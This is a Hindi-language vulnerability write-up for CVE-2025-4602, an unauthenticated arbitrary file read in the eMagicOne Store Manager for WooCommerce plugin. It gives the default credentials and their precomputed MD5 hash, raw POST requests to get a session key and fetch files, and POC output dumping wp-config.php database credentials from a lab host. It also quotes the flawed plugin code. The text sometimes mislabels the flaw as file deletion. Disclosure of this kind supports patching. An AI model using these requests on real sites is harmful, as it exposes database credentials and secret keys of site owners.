
eMagicOne Store Manager for WooCommerce <= 1.2.5 - बिना प्रमाणीकरण के मनमानी फ़ाइल पढ़ना
यह eMagicOne Store Manager for WooCommerce प्लगइन एक रिमोट प्रबंधन प्रोटोकॉल एंडपॉइंट (?connector=bridge) को उजागर करता है जो सर्वर पर फ़ाइल विलोपन संचालन की अनुमति देता है। प्रमाणीकरण तंत्र एक डिफ़ॉल्ट क्रेडेंशियल जोड़ी (login=1, password=1) और एक सत्र कुंजी प्रणाली पर निर्भर करता है। यदि डिफ़ॉल्ट क्रेडेंशियल्स नहीं बदले जाते हैं, तो एक हमलावर आसानी से प्रमाणित हो सकता है, एक सत्र कुंजी प्राप्त कर सकता है, और WordPress रूट या किसी भी सुलभ निर्देशिका से मनमानी फ़ाइलें पढ़ सकता है।
सर्वर से wp-config.php फ़ाइल को पढ़ने का प्रदर्शन करने के लिए एक POC CVE-2025-4602.py प्रदान किया गया है।
python3 CVE-2025-4602.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Getting file...
[*] File Content: <?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'lab1' );
/** Database username */
define( 'DB_USER', 'homestead' );
/** Database password */
define( 'DB_PASSWORD', 'secret' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...
...
...
...
...
प्लगइन सक्रियण पर, smconnector.php में निम्नलिखित स्थिरांक सेट किए जाते हैं:
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
प्रमाणीकरण के लिए उपयोग किया जाने वाला डिफ़ॉल्ट हैश है:
'smconnector_hash' => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
परिणाम: डिफ़ॉल्ट हैश md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b है।
हैश और एक कार्य (जैसे, get_version) के साथ ब्रिज एंडपॉइंट पर POST अनुरोध भेजकर एक सत्र कुंजी प्राप्त की जाती है:
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded
hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
प्रासंगिक कोड:
classes/class-emosmconnectorcommon.php (पंक्तियाँ ~441-525):
private function check_auth() {
if ( $this->shop_cart->isset_request_param( 'key' ) ) {
// ... session key validation ...
} elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
$hash = (string) $this->shop_cart->get_request_param( 'hash' );
if ( ! $this->is_hash_valid( $hash ) ) {
// ... error ...
}
$key = $this->generate_session_key( $hash );
// ... return session key ...
}
}
सत्र कुंजी wp_smconnector_session_keys तालिका में संग्रहीत की जाती है:
private function generate_session_key( $hash ) {
$key = hash( 'sha256', $hash . $timestamp );
$sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
. "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
. $date . "', '" . $date . "')";
$this->shop_cart->exec_sql( $sql );
return $key;
}
एक वैध सत्र कुंजी के साथ, एक हमलावर get_file कार्य का उपयोग करके फ़ाइलें पढ़ सकता है:
POST /?connector=bridge&task=get_file&key=<session_key>&entity_type=.&filename=wp-config.php
प्रासंगिक कोड:
classes/class-emosmconnectorcommon.php (पंक्तियाँ ~2219+):
2219 /** Get file */
2220 private function get_file() {
2221 if ( ! $this->shop_cart->isset_request_param( 'entity_type' ) ) {
2222 $this->generate_error( $this->br_errors['entitytype_param_missing'] );
2223 }
2224
2225 if ( ! $this->shop_cart->isset_request_param( 'filename' ) ) {
2226 $this->generate_error( $this->br_errors['filename_param_missing'] );
2227 }
2228
2229 $entity_type = (string) $this->shop_cart->get_request_param( 'entity_type' );
2230 $filename = (string) $this->shop_cart->get_request_param( 'filename' );
2231
2232 if ( empty( $entity_type ) ) {
2233 $this->generate_error( $this->br_errors['entitytype_param_empty'] );
2234 }
2235
2236 if ( empty( $filename ) ) {
2237 $this->generate_error( $this->br_errors['filename_param_empty'] );
2238 }
2239
2240 $file_path = $this->shop_cart->get_file( $entity_type, $filename );
2241
2242 if ( $file_path && $this->shop_cart->file_exists( $file_path ) ) {
2243 header( 'Content-Type: image/jpeg' );
2244 header( 'Content-Length: ' . $this->shop_cart->file_size( $file_path ) );
2245 readfile( $file_path );
2246 } else {
2247 $this->generate_error( 'File is missing' );
2248 }
2249 }
class-emosmcwoocommerceoverrider.php (पंक्तियाँ ~380+) में फ़ाइल विलोपन::
426 public function get_file( $folder, $filename ) {
427 $folder = trim( $folder, '/' );
428 $filename = ltrim( $filename, '/' );
429 if ( empty( $folder ) ) {
430 return $this->get_shop_root_dir() . $filename;
431 }
432
433 return $this->get_shop_root_dir() . "$folder/$filename";
परिणाम: फ़ाइल सर्वर से वापस कर दी जाती है।